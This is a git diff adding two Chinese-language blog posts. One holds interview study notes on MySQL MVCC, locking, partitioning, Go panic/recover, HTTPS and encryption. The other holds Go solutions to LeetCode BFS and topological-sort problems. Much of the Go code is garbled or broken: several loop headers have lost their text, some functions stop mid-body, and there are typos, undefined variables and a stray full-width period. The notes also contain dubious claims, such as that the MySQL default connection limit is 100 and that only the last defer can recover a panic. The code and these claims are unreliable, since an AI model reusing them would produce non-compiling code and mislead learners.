+传统的数据库并发控制机制采用悲观锁控制,即读取数据时都需要加锁,导致并发操作互斥,效率较低。而 MVCC 通过每个事务都有自己的版本号来解决了这个问题,实现了读写分离,从而多个事务之间可以并发地读取同一份数据,提高了数据库并发性能。 + +MVCC 的实现通常是将每条记录保存多个版本,每次事务读取数据时,会根据该事务的启动时间戳(start timestamp)选择读取对应版本的数据。如果某个事务要修改数据,它会基于最新的版本创建一个新版本,并写入新的数据。其他事务在读取时仍然可以看到旧版本的数据,直到新版本提交后,它们才会切换到新版本。 + +MVCC 实现前提条件包括支持行级锁和事务的启动时间戳等特性。在 MySQL 中,InnoDB 存储引擎就支持 MVCC,通过快照读(Snapshot Read)和当前读(Current Read)两种方式来实现不同隔离级别下的事务隔离。 + +总之,MVCC 是一种高效并发控制的机制,它通过读写分离和版本控制来优化数据库的并发性能,同时保证了不同事务之间数据的隔离性。 + +### MVCC 和乐观锁区别 + +MVCC(多版本并发控制)和乐观锁都是用于实现数据库并发控制的机制,但是它们的实现方式和应用场景有所不同。 + +实现方式: +MVCC 是通过保存多个版本来实现并发控制的,每个事务都可以读取同一份数据的不同版本,以避免了悲观锁的互斥性。而乐观锁是通过增加一个版本号或时间戳等来防止多个事务同时修改同一份数据。 + +适用场景: +对于较为复杂的并发控制场景和高并发访问负载下的数据库,MVCC 更常用。而在少量并发请求、乐观情况下,仅有轻微并发冲突的场景下,可以采用乐观锁。 + +冲突处理: +当事务同时操作相同记录时,MVCC 和乐观锁的冲突处理方式也不同。MVCC 的冲突处理方式是基于版本进行的,当出现冲突时,只需要寻找更早提交的事务版本即可;乐观锁则需要进行额外的处理,一般需要重新读入被修改的记录并进行比较,然后才能执行更新操作。 + +总之,MVCC 和乐观锁各有优劣,应根据具体情况选择合适的方式来实现并发控制。在高并发、大负载的场景中,MVCC 的效率和性能更好;而在数据冲突较小的情况下,乐观锁则比较适用。 + +### 快照读和当前读 + +InnoDB 存储引擎就支持 MVCC,通过快照读(Snapshot Read)和当前读(Current Read)两种方式来实现不同隔离级别下的事务隔离。 不太理解 + +在 InnoDB 存储引擎中,为了实现 MVCC,提供了两种读取数据的方式: + +快照读(Snapshot Read):在读取数据时不加锁,而是读取之前某个时间点的数据版本,即读取数据的快照。这样可以避免数据被并发修改时出现的问题,如脏读、不可重复读和幻读等。 + +当前读(Current Read):在读取数据时会对其进行加锁,保证并发事务间不会互相干扰。当一个事务想要修改一条记录时,首先需要获取该记录的排他锁(X 锁),其他并发事务无法读取或修改该记录,直到该事务提交或回滚后才能继续操作。 + +可以根据不同的业务需求选择不同的隔离级别,包括:读未提交(RU)、读已提交(RC)、可重复读(RR)和串行化(S)四种隔离级别。 + +总之,通过快照读和当前读两种方式,InnoDB 存储引擎可以实现 MVCC 机制,并通过不同隔离级别来控制并发访问产生的各种问题。 + +### mysql 的锁机制 + +MySQL 提供了多种类型的锁,最常用的有以下两种: + +行级锁(Row-Level Locks):这种锁机制可以避免数据并发处理问题。每个会话在访问行时都会获取相应的行级锁,其他会话只能等待该会话释放行级锁后才能获取。 + +表级锁(Table-Level Locks):这种锁机制在对整张表进行读写操作时会对整张表进行加锁,因此不能够同时被其他会话访问或修改。 + +MySQL 锁分为两种模式,一种是共享锁(S Lock),也叫读锁,另一种是排他锁(X Lock),也叫写锁。 + +当使用共享锁时,其他会话只能获取共享锁,而不能获取排它锁,这就保证了其他会话可以继续读取该记录,但不能修改该记录。而当某个会话获取排它锁后,则其他会话既不能获取共享锁也不能获取排它锁,直到该会话释放锁或者提交事务。 + +MySQL 还支持其他类型的锁机制,如间隙锁和临键锁,用于避免脏读、不可重复读和幻影问题等。 + +总之,MySQL 的锁机制是数据库管理系统的关键部分,在多用户环境下保证数据的一致性和完整性。不同的锁机制对并发访问的控制能力不同,需要根据具体的业务场景进行选择和使用。 + +## 对频繁查询的表进行分区? + +对于经常访问的大表,可以考虑对其进行水平分区,将其分成多个小表,以降低 I/O 的操作,提升查询效率。 如何水平分区 + +对于 MYSQL 的水平分区,可以根据具体情况使用以下几种方式: + +RANGE 分区:按照指定的范围对表进行划分。例如,可以将订单表按照下单时间进行分区,每个分区包含一段时间内的订单数据。 + +LIST 分区:按照指定的列值进行分区。例如,可以将学生表按照学院进行分区,每个分区包含同一个学院的学生数据。 + +HASH 分区:按照 HASH 函数计算出来的值进行分区。例如,可以将用户表按照用户 ID 进行 HASH 分区,每个分区包含某个范围内的用户数据。 + +KEY 分区:类似于 HASH 分区,但是只针对某个键进行分区。例如,可以将订单表按照用户 ID 进行 KEY 分区,每个分区包含某个用户的订单数据。 + +使用分区可以提高查询效率,减少 I/O 的操作。MYSQL 支持手动分区和自动分区两种方式,手动分区需要在创建表时进行指定,而自动分区则会根据指定的规则自动进行分区。同时,需要注意分区规则的合理性,尽量使得每个分区的大小差别不大,避免因为某个分区过大而导致负载不均衡的情况发生。 + +### 控制并发连接数? + +MYSQL 默认最大连接数为 100,如果并发连接数过高,会影响整个系统的稳定性和查询效率,因此需要适当调整最大连接数,并且合理利用连 接池。 具体是怎么做的 + +要控制 MYSQL 的并发连接数,可以采取以下几种方法: + +修改最大连接数:可以通过修改 MYSQL 配置文件中的 max_connections 参数来修改最大连接数。修改完成后,需要重启 MYSQL 服务。 + +合理利用连接池:在应用程序中使用连接池可以有效控制连接数,减少因为频繁创建和销毁连接而带来的开销。JAVA 应用程序可以使用 c3p0、Druid 等连接池。同时,在使用连接池时,需要根据具体情况适当调整连接池的大小和最长等待时间等参数。 + +定期清理不使用的连接:避免因为连接没有关闭而导致连接数过多的问题发生。建议在代码中使用 try-with-resources 语句或者手动关闭连接,确保连接在使用完毕后及时释放。 + +优化查询语句:优化查询语句可以降低单个查询所需的资源消耗,从而降低对连接数的占用。例如添加索引、避免全表扫描等方式可以提高查询效率。 + +综上所述,控制 MYSQL 的并发连接数需要从多个方面进行考虑和优化。合理使用连接池、定期清理无用连接、优化查询语句以及调整最大连接数等方式,可以有效地避免因连接数过多而带来的问题,并提高整体的查询效率和稳定性。 + +### 在业务中间如何避免幻读 + +幻读是指在多次执行同一个查询时,某些行的数量发生了变化,或者新增了新的符合条件的行,导致两次查询得到的结果不一致的情况。幻读通常发生在事务隔离级别为可重复读(REPEATABLE READ)的情况下。 + +以下是几种避免幻读的方法: + +更新锁:在事务中,对于需要更新的数据加上排他锁(X 锁),其他事务不能访问该数据,从而避免幻读。但是这种锁会影响并发性能。 + +间隙锁:在事务中,在扫描区间添加间隙锁,防止其他事务在这个区间内插入新数据。 + +MVCC:使用基于多版本并发控制的数据库系统,通过每个事务都获得其自己的数据快照,保证事务之间相互隔离。 + +显示锁定:通过手动锁定需要操作的所有行,防止其他事务修改这些数据,从而避免幻读。但需要开发人员手动对锁进行管理,容易出现问题。 + +综上所述,避免幻读需要根据具体业务场景和需求选择适合的方法。其中,MVCC 是最常用且最有效的解决方案。同时,应尽可能采用合理的设计和良好的编程习惯,避免在事务中出现不必要的查询。 + +### panic + +那么举个例子如何 ecover() 函数来捕获 panic, + +可以使用 defer 和 recover()组合来捕获 panic。当程序发生 panic 后,Go 会运行在 panic() 函数之前用 defer 关键字注册的函数,如果其中遇到了 recover(),则代表已经成功捕获 panic,程序不会继续执行 panic()函数,而是正常恢复执行。 + +下面是一个示例代码: + +```go + +func main() { + defer func() { + if r := recover(); r != nil { + fmt.Println("Recovered from:", r) + } + }() + panic("Oops! Something went wrong.") +} +``` + +在上述示例中,我们使用了 defer 和 recover() 来捕获 panic。当程序执行到 panic("Oops! Something went wrong.") 时,它会立即停止运行并抛出一个 panic。但由于我们使用了 defer 和 recover() 来捕获 panic,因此程序会在 if 语句块中输出错误信息,而不是直接退出并报错。 + +需要注意,recover() 函数必须在 defer 中直接调用才能起作用,否则它无法捕获 panic 并返回 nil。另外,如果存在多个 defer 函数,只有最后一个 defer 函数才能真正捕获 panic。 + +### http 和 https 的区别 + +HTTP (超文本传输协议) 和 HTTPS (HTTP 安全协议) 都是用于在 Web 浏览器和服务器之间传输数据的协议。它们之间的区别如下: + +1.安全性:HTTPS 比 HTTP 更加安全,因为 HTTPS 使用了 TLS/SSL 协议来加密网络通信。这意味着,通过 HTTPS 发送的数据会被加密,使其更难以被黑客窃取或篡改。 + +2.端口号不同:HTTP 默认使用 80 端口,而 HTTPS 默认使用 443 端口。 + +3.证书要求不同:为了使用 HTTPS,网站必须拥有一个数字证书,该证书由可信的第三方机构颁发。证书证明了网站的身份,可以确保用户与正确的网站建立连接。而 HTTP 则没有此类要求。 + +4.速度:由于 HTTPS 使用了加密技术,所以比 HTTP 慢。但最近的优化使得差距变得越来越小。 + +5.缓存:与 HTTP 相比,HTTPS 的缓存更加困难,因为可能需要将每个请求和响应都加密。 + +综上所述,HTTP 和 HTTPS 都有其各自的优势和劣势。如果您只是在浏览内容网站,那么使用 HTTP 足够了。但是,如果您需要进行在线银行交易、网上购物等需要保护个人隐私和数据安全的活动,那么使用 HTTPS 更加安全。 + +### 非对称加密 + +非对称加密是一种加密方法,使用不同的密钥对数据进行加密和解密。与对称加密不同,非对称加密使用公钥加密数据,并使用私钥解密数据。这意味着加密和解密过程中使用不同的密钥。 + +在非对称加密中,每个用户都有一对密钥 - 公钥和私钥。公钥是向世界公开的密钥,而私钥只能由所有者访问。任何人都可以使用公钥加密数据,但只有持有相应私钥的人才能解密它。 + +常见的非对称加密算法包括 RSA、DSA 和 ECC 等。非对称加密算法通常用于保护网络通信的安全,例如在 HTTPS 中使用非对称加密来确保网站和客户端之间的数据传输安全。 + +### 非对称加密和对称加密 + +是两种常见的加密方法,它们之间的主要区别在于使用不同的密钥进行加密和解密。具体而言,对称加密使用相同的密钥进行加密和解密,而非对称加密使用不同的密钥进行加密和解密。 + +对称加密算法通常具有更高的加密和解密速度,并且可以用于保护大量数据。但是,由于所有人都使用相同的密钥,因此必须对密钥的交换和管理进行额外的安全措施,否则可能会破坏整个系统的安全性。 + +非对称加密算法通常比对称加密算法更安全,因为私钥只能由持有者访问,而公钥可以被向其他人公开以加密数据。由于非对称加密算法需要更长的密钥长度,因此在处理大量数据时可能会有一些性能问题。 + +实际中,通常使用混合加密来提高安全性和性能。例如,在 HTTPS 通信中,客户端和服务器之间可以使用非对称加密算法来安全地传递共享密钥(如会话密钥)。之后,他们可以使用对称加密算法来加密和解密任意数量的数据,同时保证较高的性能和安全性。这种混合加密方法将两种加密方式的优点结合起来,既实现了强大的安全性,又避免了对称加密算法本身的一些性能问题。 + +### 区快链 + +区块链是一种去中心化的分布式数据库技术,可以用于记录和验证交易或其他数据。以下是区块链的基础知识: + +区块:是指存储数据的单元,在区块链上表示一个具体的数据集合或交易记录。 +链:多个区块通过加密哈希函数连接形成的数据结构。区块链实际上就是由一个个区块链接而成的链式数据结构。 +分布式数据库:区块链没有单一的中央数据库,而是在网络中分布着许多节点,每个节点都保存着同样的数据复本,这些节点之间相互通信并达成共识以保证数据的一致性和准确性。 +去中心化:与传统的中心化架构不同,区块链没有中央服务器或管理员来控制数据,而是由网络中的参与者共同控制。 +共识机制:通过一定的算法机制使得网络中的参与者能够达成共识,保证所有节点上的数据是一致的。比如比特币使用的工作量证明(PoW)共识机制。 +加密算法:通过密码学的技术保证数据加密和验证的安全性,避免数据被篡改或伪造。比如 SHA-256 哈希算法、公钥加密算法等。 diff --git a/_posts/2023-4-20-test-markdown.md b/_posts/2023-4-20-test-markdown.md new file mode 100644 index 000000000000..ed44d44d1d98 --- /dev/null +++ b/_posts/2023-4-20-test-markdown.md @@ -0,0 +1,1270 @@ +--- +layout: post +title: BFS的队列实现/栈实现 +subtitle: +tags: [leetcode] +comments: true +--- + +### 栈实现可以模仿 DFS + +```go +type Node struct { + Val int + Left *Node + Right *Node +} + +func PreorderTraversal(root *Node) []int { + var res []int + if root == nil { // 处理特殊情况 + return res + } + + stack := []*Node{root} + for len(stack) > 0 { // 广度优先遍历 + node := stack[len(stack)-1] + stack = stack[:len(stack)-1] + + if node != nil { + res = append(res, node.Val) // 前序遍历顺序:根、左、右 + stack = append(stack, node.Right) // 右子节点入栈 + stack = append(stack, node.Left) // 左子节点入栈 + } + } + + return res +} +``` + +```go +/* + 0 + / \ + 1 2 + / \ / \ + 3 4 5 6 + / \ + 7 8 + 7 3 8 1 4 0 5 2 6 + + */ +//画一个节点从0~10的完全二叉树 +type Node struct { + Val int + Left *Node + Right *Node +} + +func InorderTraversal(root *Node) []int { + var res []int + if root == nil { // 处理特殊情况 + return res + } + + stack := []*Node{} + node := root + // node 如果不为空,那么就不断递归左节点 + for len(stack) > 0 || node != nil { // 广度优先遍历 + // 先把所有的左子树入栈 + for node != nil{ + stack = append(stack,node) + node = node.Left + } + // 从底向上弹出根节点,放入右节点 + // 回退 + node = stack [len(stack)-1] + stack= stack [:len(stcak)-1] + // 根 + res = append(res,node.Val) + node = node.Right + } + + return res +} + + +``` + +```go +/* + 0 + / \ + 1 2 + / \ / \ + 3 4 5 6 + / \ + 7 8 + 7 8 3 4 1 5 6 2 0 + // 0 2 1 4 3 8 7 + // 7 8 + + */ +type Node struct { + Val int + Left *Node + Right *Node +} + +func PostorderTraversal(root *Node) []int { + var res []int + if root == nil { // 处理特殊情况 + return res + } + + stack1 := []*Node{root} + stack2 := []*Node{} + for len(stack1) > 0 { // 广度优先遍历 + node := stack1[len(stack1)-1] + stack1 = stack1[:len(stack1)-1] + + stack2 = append(stack2, node) + if node.Left != nil { // 左节点入栈1 + stack1 = append(stack1, node.Left) + } + if node.Right != nil { // 右节点入栈1 + stack1 = append(stack1, node.Right) + } + } + + for len(stack2) > 0 { // 反转栈2,得到后序遍历结果 + node := stack2[len(stack2)-1] + stack2 = stack2[:len(stack2)-1] + res = append(res, node.Val) + } + + return res +} + +``` + +### BFS 的队列实现 + +> 解决最短路径问题 + +BFS 在无权图中可以求出两个节点之间的最短路径。因为 BFS 遍历的顺序是按照层数递增的顺序进行的,所以当找到目标节点时,该路径就是从起始点到目标节点的最短路径。 + +> 解决按层遍历问题 + +> 解决迷宫问题 + +> 解决最小生成树问题 + +> 解决连通快问题 + +> 解决连通性问题 + +连通性问题:BFS 可以用于确定两个节点是否连通。如果两个节点在同一个连通子图中,则它们之间存在一条路径,可以通过 BFS 找到该路径。 + +> 解决拓扑排序问题 + +拓扑排序问题:BFS 可以用于对有向无环图(DAG)进行拓扑排序,得到 DAG 中节点的一个线性序列,该序列满足若存在一条从节点 A 到节点 B 的路径,则在序列中节点 A 出现在节点 B 之前。 + +在一个有向无环图 (Directed Acyclic Graph,DAG) 中,如果存在一条从节点 A 到节点 B 的路径,那么节点 A 必须排在节点 B 的前面。这是因为 DAG 要求图中的边必须是有向的,并且不能形成环路,也就是说每个节点都必须能够通过指向其他节点来到达终点,而不会回到原来的位置。 + +拓扑排序算法可以得到有向无环图中节点的一个线性序列,使得对于任意一条有向边 (A, B),节点 A 在序列中都排在节点 B 的前面。这个序列称作拓扑序列 (Topological Order)。 + +在拓扑排序算法中,如果有环存在,那么环上的节点入度不为 0,它们不会被添加到队列中进行访问,也就不会被标记为已访问状态。因此,在 BFS 函数末尾,我们需要检查是否有任何未访问的节点,如果有,则说明图中存在环,返回 false。 + +> 关键点是一方面统计儿子节点的入度,另外一方面是构建图,遍于可以通过父节点访问到子节点,改变子节点的入度,把节点入度为 0 的放入队列。如果存在环,环不会被放在队列,因此就不会被访问。 + +```go +// [207. 课程表](https://leetcode.cn/problems/course-schedule/) +// 统计节点的入度 +var nodeInDegree map[int]int +// 有向无环图的判断 +var graph map[int][]int +var visited map[int]bool +func canFinish(numCourses int, prerequisites [][]int) bool { + nodeInDegree = make(map[int]int,numCourses) + visited = make(map[int]bool,numCourses) + for i:=0;i0 + // 向根节点(入度) + for _,v := range prerequisites{ + // 统计儿子节点的入度 + nodeInDegree[ v[0] ] = nodeInDegree[ v[0] ]+1 + // 构造图遍于找到儿子节点,改变儿子节点的入度 + graph[ v[1] ]= append(graph[ v[1] ],v[0]) + } + return BFS() +} + +func BFS() bool{ + queue:= []int{} + for k,v := range nodeInDegree{ + if v==0{ + queue = append(queue,k) + } + } + + for len(queue)>0{ + size:= len(queue) + for i:=0;i 2->3 + // ^---| + for _,v:= range visited{ + if !v{ + return false + } + } + return true +} +``` + +```go +// [210. 课程表 II](https://leetcode.cn/problems/course-schedule-ii/) + /* 0 + /\ + 1 2 + \/ + 3 + */ + +// 统计节点的入度 +var nodeInDegree map[int]int +// 有向无环图的判断 +var graph map[int][]int +var visited map[int]bool + +func findOrder(numCourses int, prerequisites [][]int) []int { + nodeInDegree = make(map[int]int,numCourses) + visited = make(map[int]bool,numCourses) + for i:=0;i0 + // 向根节点(入度) + for _,v := range prerequisites{ + // 统计儿子节点的入度 + nodeInDegree[ v[0] ] = nodeInDegree[ v[0] ]+1 + // 构造图遍于找到儿子节点,改变儿子节点的入度 + graph[ v[1] ]= append(graph[ v[1] ],v[0]) + } + return BFS() +} + +type node struct{ + Val int + Path []int +} + +func BFS() []int{ + queue:= []*node{} + for k,v := range nodeInDegree{ + if v==0{ + queue = append(queue,&node{ + Val:k, + Path:[]int{k}, + }) + } + } + ans:= []int{} + for len(queue)>0{ + size:= len(queue) + for i:=0;i0{ + size:= len(queue) + for i:=0;i 0 { + cur := queue[0] + queue = queue[1:] + res = append(res, cur) + + for _, nxt := range beforeItems[cur] { + // 注意:这里要判断是否属于当前小组 + if group[nxt] == group[nodes[0]] { + nodeInDegree[nxt]-- + if nodeInDegree[nxt] == 0 { + queue = append(queue, nxt) + } + } + } + } + + if len(res) != len(nodes) { + return []int{} + } + } + // 组装答案 + for i := 0; i < len(sortedNodes); i++ { + if sortedNodes[i] < n { + res = append(res, sortedNodes[i]) + } + } + return res +} + +``` + +```go +type Node struct { + PreCount int + NextIDs []int +} + +func sortItems(n int, m int, group []int, beforeItems [][]int) []int { + groupItems := make([][]int, m+n) // groupItems[i] 表示第i个组负责的所有项目,用于加速组内排序 + maxGroupID := m - 1 + for i := 0; i < n; i++ { + if group[i] == -1 { //-1这个group编码为m,m+1, m+2 等不同组,便于处理 + maxGroupID++ + group[i] = maxGroupID + } + groupItems[group[i]] = append(groupItems[group[i]], i) + } + + // 项目拓扑图 + // 如果索 + gItem := make([]Node, n) + for i := 0; i < n; i++ { + for _, preID := range beforeItems[i] { + gItem[i].PreCount++ + gItem[preID].NextIDs = append(gItem[preID].NextIDs, i) + } + } + + // 小组拓扑图 + // 记录每个组对应的包含的节点 + gGroup := make([]Node, maxGroupID+1) + for i := 0; i < n; i++ { + curID := group[i] + for _, preID := range beforeItems[i] { + preID := group[preID] + // 跳过自己组依赖自己组 + if curID == preID { + continue + } + // 对于固定的两个组,依赖次数可以累加,后续搜索时,PreCount也会减这么多次 + gGroup[curID].PreCount++ + gGroup[preID].NextIDs = append(gGroup[preID].NextIDs, curID) + } + } + + // 先确定小组拓扑顺序 + q := make([]int, 0) + for i, v := range gGroup { + if v.PreCount == 0 { + q = append(q, i) + } + } + retGroup := make([]int, 0) + for len(q) > 0 { + k := len(q) + for k > 0 { + k-- + curID := q[0] + q = q[1:] + retGroup = append(retGroup, curID) + for _, nextID := range gGroup[curID].NextIDs { + gGroup[nextID].PreCount-- + if gGroup[nextID].PreCount == 0 { + q = append(q, nextID) + } + } + } + } + if len(retGroup) != maxGroupID+1 { + return []int{} + } + + // 再确定项目的拓扑顺序 + ret := make([]int, 0) + for j := 0; j <= maxGroupID; j++ { //根据小组拓扑顺序进行处理 + q = make([]int, 0) + for _, id := range groupItems[retGroup[j]] { //加速,只检查组内项目,而不是检查所有项目 + if gItem[id].PreCount == 0 { + fmt.Println("id1",v) + q = append(q, id) + } + } + + for len(q) > 0 { + k := len(q) + for k > 0 { + k-- + curID := q[0] + q = q[1:] + ret = append(ret, curID) + for _, nextID := range gItem[curID].NextIDs { + gItem[nextID].PreCount-- + if gItem[nextID].PreCount == 0 && group[nextID] == retGroup[j] { + fmt.Println("id2",v) + q = append(q, nextID) + } + } + } + } + } + + if len(ret) != n { + return []int{}。 + } + return ret +} + +``` + +> 解决状态转化问题 + +状态转换问题:BFS 可以用于状态转换问题,例如八数码等。每个状态可以看作图中的一个节点,状态之间的转换可以看作节点之间的边。采用 BFS 可以找出从初始状态到目标状态的最短路径。 + +```go +/* 1129. 颜色交替的最短路径 */ + +type node struct { + Val int + Color int +} + +var graphRed [][]node +var graphBlue [][]node + +var answer []int + +func shortestAlternatingPaths(n int, redEdges [][]int, blueEdges [][]int) []int { + graphRed = make([][]node,n) + graphBlue = make([][]node,n) + answer = make([]int,n) + + for k,_:= range answer{ + answer[k] = -1 + } + answer[0]=0 + + for _,v := range redEdges{ + graphRed[v[0]] =append (graphRed[v[0]],node{ + Val: v[1], + Color: 1, + }) + } + for _,v := range blueEdges{ + graphBlue[v[0]] =append(graphBlue[v[0]],node{ + Val: v[1], + Color: 0, + }) + } + BFS() + return answer +} + +func BFS() { + seen_r := make(map[int]bool) + seen_b := make(map[int]bool) + seen_r[0] = true + seen_b[0] = true + queue := []node{ + // 红色 + node{ + Val: 0, + Color: 1, + }, + // 蓝色 + node{ + Val: 0, + Color: 0, + }, + } + + step:=0 + for len( queue)>0{ + // 同一层的从前往后 + size := len( queue) + for size>0{ + size-- + cur := queue[0] + queue = queue[1:] + if answer[cur.Val]==-1 { + answer[cur.Val] = step + }else{ + answer[cur.Val] = min(answer[cur.Val],step) + } + var graph [][]node + var seen map[int]bool + // 是红色 + if cur.Color == 1{ + graph = graphRed + seen = seen_r + }else{ + graph = graphBlue + seen = seen_b + } + for _,v := range graph[cur.Val]{ + if (cur.Color == 1 && seen_r[v.Val]) || (cur.Color == 0 && seen_b[v.Val]){ + continue + } + seen [v.Val] = true + queue = append( queue,node{ + Val:v.Val, + Color : 1-v.Color, + }) + } + } + step++ + } +} + +func min(a int ,b int)int{ + if a0{ + size:= len(queue) + for i:=0;i 0 { + size := len(queue) + for i := 0; i < size; i++ { + cur := queue[0] + queue = queue[1:] + if visted[cur.line][cur.row] == true { + continue + } + visted[cur.line][cur.row] = true + // 添加子节点 + if cur.line-1 >= 0 && grid[cur.line-1][cur.row] == '1' && visted[cur.line-1][cur.row] == false{ + queue = append(queue, node{line: cur.line - 1, row: cur.row}) + } + + if cur.line+1 < lineRes && grid[cur.line+1][cur.row] == '1' && visted[cur.line+1][cur.row] == false { + queue = append(queue, node{line: cur.line + 1, row: cur.row}) + } + + if cur.row-1 >= 0 && grid[cur.line][cur.row-1] == '1' && visted[cur.line][cur.row-1] == false{ + queue = append(queue, node{line: cur.line, row: cur.row - 1}) + } + + if cur.row+1 < rowRes && grid[cur.line][cur.row+1] == '1' && visted[cur.line][cur.row+1] == false{ + queue = append(queue, node{line: cur.line, row: cur.row + 1}) + } + } + } +} + +type node struct{ + // 行 + line int + // 列 + row int +} +``` + +```go + + +``` + +### BFS 优化 + +#### 减枝 + +```go +/*给一个整数 n ,返回 和为 n 的完全平方数的最少数量 。 + +完全平方数 是一个整数,其值等于另一个整数的平方;换句话说,其值等于一个整数自乘的积。例如,1、4、9 和 16 都是完全平方数,而 3 和 11 不是。 + + +把下面代码按照逻辑转化为golang代码*/ +import ("math") +var res int +func numSquares(n int) int { + res = math.MaxInt32 + return BFS(n) +} + +type node struct{ + val int + step int +} + +func BFS(n int) int{ + queue:= []node{node{val:n,step:0}} + // visted:= map[int]bool{} + visited := make(map[int]bool) + for len(queue)>0{ + size:= len(queue) + for i:=0;i=1 ;i--{ + sonNodeVal:= cur.val - i*i + if sonNodeVal < 0{ + continue + } + // 同一层不允许相同出现 + if visited[sonNodeVal] { + continue + } + queue = append(queue,node{val:sonNodeVal,step:cur.step+1}) + // 对应的最大的儿子节点 + visited[sonNodeVal] = true + } + // 因为前面做了优化 + if cur.val == 0{ + res = min(res,cur.step) + return res + } + } + } + return -1 +} + +func min(a int , b int) int{ + if a=1;i--{ + if DP[k]==0{ + DP[k] = DP[k-i*i]+1 + continue + } + DP[k] = min(DP[k],DP[k-i*i]+1) + } + } + //fmt.Println(DP) + return DP[n] +} + +func min(a int , b int) int{ + if a0{ + size:= len(queue) + for i:=0;i= 0 && !visited[cur.x-1][cur.y] { + res[cur.x-1][cur.y] = res[cur.x][cur.y] + 1 + visited[cur.x-1][cur.y] = true + queue = append(queue, node{x:cur.x-1, y:cur.y}) + } + if cur.x+1 < xLimit && !visited[cur.x+1][cur.y] { + res[cur.x+1][cur.y] = res[cur.x][cur.y] + 1 + visited[cur.x+1][cur.y] = true + queue = append(queue, node{x:cur.x+1, y:cur.y}) + } + if cur.y-1 >= 0 && !visited[cur.x][cur.y-1] { + res[cur.x][cur.y-1] = res[cur.x][cur.y] + 1 + visited[cur.x][cur.y-1] = true + queue = append(queue, node{x:cur.x, y:cur.y-1}) + } + if cur.y+1 < yLimit && !visited[cur.x][cur.y+1] { + res[cur.x][cur.y+1] = res[cur.x][cur.y] + 1 + visited[cur.x][cur.y+1] = true + queue = append(queue, node{x:cur.x, y:cur.y+1}) + } + + } + + } +} +func abs(a int)int{ + if a < 0{ + return -a + } + return a +} +``` + +```go + +var hashStatusMap map[string][]string +var isLocked map[string]bool +func openLock(deadends []string, target string) int { + isLocked = map[string]bool{} + hashStatusMap = map[string][]string{} + for _,v := range deadends{ + isLocked[v] = true + } + // 处理初始状态就在deadends列表中的情况 + if isLocked["0000"] || isLocked[target] { + return -1 // 如果初始状态或目标状态已被锁定,无法解锁 + } + hashMapInit() + return BFS(target) +} + +type node struct{ + Val string + Depth int +} + +func BFS(target string)int{ + queue:= []node{ + node{Val:"0000",Depth:0}, + } + visited :=map[string]bool{} + visited["0000"]= true + for len(queue)>0{ + size := len(queue) + for i:=0;i 启发式搜索的难点是:1.估价函数,(1)要求是可以通过已知信息计算出价值。(2)两个状态 x 和 y,如果 x 可以走到 y 那么 h(x)<=h(y) (3)可以尽快可能的找到解。 + +> 需要考虑时间和空间复杂度 + +> 如何更新估价值,通过记录已经访问的状态和他们的估价值来避免重复搜索。如何更新的路径更短,那么需要更新状态的估价值。 + +> 如何防止算法陷入局部最优:启发式搜索可能会出现局部最优的情况。为了避免该问题,可以采用随机化的策略或多目标优化的思想,使得算法能够跳出局部最优并探寻更广阔的搜索空间。 + +> 如何应对状态空间过大的问题:虽然启发式搜索可以高效地找到最有解或者次优解,但是当状态空间非常大时,仍然会遇到时间和空间上的限制。因此,需要通过一些技巧来缓解这些问题,例如采用迭代加深搜索、剪枝等方法。 + +#### BFS 解决八数码 + +该问题是一个 3x3 的棋盘游戏,玩家需要将一个包含数字 1~8 的初始状态转变成目标状态,每次移动可以交换数字与空格的位置。BFS 的思路是按照广度优先的顺序,从初始状态出发,不停的对其下一层状态进行扩展,直到找到目标状态为止。 + +解决八数码问题的难点和关键在于如何确定状态之间的转移关系以及如何避免重复状态: + +> 每个状态是一个 3X3 的矩阵 + +状态转移:在八数码问题中,**每个状态可以看作是一个 3x3 的矩阵**,其中一个元素为空格,可以与它相邻的数字进行交换。因此,在 BFS 中,我们需要考虑如何寻找每个状态的下一层状态。具体做法是,对于当前状态,枚举空格能够交换的数字,并生成新的状态。这些新状态就是当前状态的下一层状态。 + +> 记录存在过的 3X3 的矩阵状态。 + +避免重复状态:由于八数码问题的状态数较多,使用 BFS 时容易产生大量重复状态。为了避免这种情况,我们需要记录已经访问过的状态,并在后续搜索时忽略这些状态。通常可以通过哈希表或者布尔数组来实现状态的记录,比如使用哈希表来存储已经访问过的状态,每遍历一个新状态,就在哈希表中查询是否存在该状态,如果不存在,则将其加入队列和哈希表。 + +> 状态压缩,把二维状态压缩为一维状态,用字符串来表示状态。 如何压缩? + +如何表示状态:如前所述,八数码问题的状态可以看作是一个 3x3 的矩阵。为了便于处理,我们可以将其展开成一个长度为 9 的一维数组,并用字符串或整数来表示不同的状态。 + +> BFS 如何记录路径?并且在着的时候回溯得到完整路径。 + +如何记录路径:在 BFS 中,我们需要找到从初始状态到目标状态的一条最短路径。因此,在搜索时需要记录每个状态的父状态,从而可以在找到目标状态后按照父状态回溯,得到完整的路径。 + +> 如何搜索?取出队头元素,放入队列,然后不断的寻找新的状态并把新状态加入队列。 + +如何搜索:BFS 可以采用队列来实现,具体做法是,将初始状态加入队列,然后不断取出队首状态进行扩展,直到队列为空或者找到目标状态为止。在扩展状态时,我们需要枚举空格能够交换的数字并生成新状态,然后将这些新状态压入队列。 + +```go +//[773. 滑动谜题](https://leetcode.cn/problems/sliding-puzzle/) +// 简化版的8码状态 +import( + "strconv" + "strings" +) + +var xLimit int +var yLimit int +// 某个状态board是否出现过 +var visited map[string]bool +var graph [][]int +func slidingPuzzle(board [][]int) int { + xLimit = 2 + yLimit = 3 + visited = map[string]bool{} + // 把二维度转化为1维度 + // 转化关系 index= i*yLimit+j + // initStatus :="" + firstStatus:="" + endStatus:="123450" + indexi:=0 + indexj:=0 + for i :=0;i0{ + size:= len(queue) + for i:=0;i=0 { + s:= []byte(cur.Status) + swapIndex1:= cur.x*yLimit + cur.y + swapIndex2:= (cur.x-1)*yLimit + cur.y + s[swapIndex1],s[swapIndex2] = s[swapIndex2],s[swapIndex1] + str:= string(s) + if !visited[str]{ + queue = append(queue,node{x:cur.x-1,y:cur.y,step:nextStep,Status:str}) + visited[str]=true + } + } + if cur.x+1 < xLimit { + s:= []byte(cur.Status) + swapIndex1:= cur.x*yLimit + cur.y + swapIndex2:= (cur.x+1)*yLimit + cur.y + s[swapIndex1],s[swapIndex2] = s[swapIndex2],s[swapIndex1] + str:= string(s) + if !visited[str]{ + queue = append(queue,node{x:cur.x+1,y:cur.y,step:nextStep,Status:str}) + visited[str]=true + } + } + if cur.y-1 >=0 { + s:= []byte(cur.Status) + swapIndex1:= cur.x*yLimit + cur.y + swapIndex2:= cur.x*yLimit + cur.y-1 + s[swapIndex1],s[swapIndex2] = s[swapIndex2],s[swapIndex1] 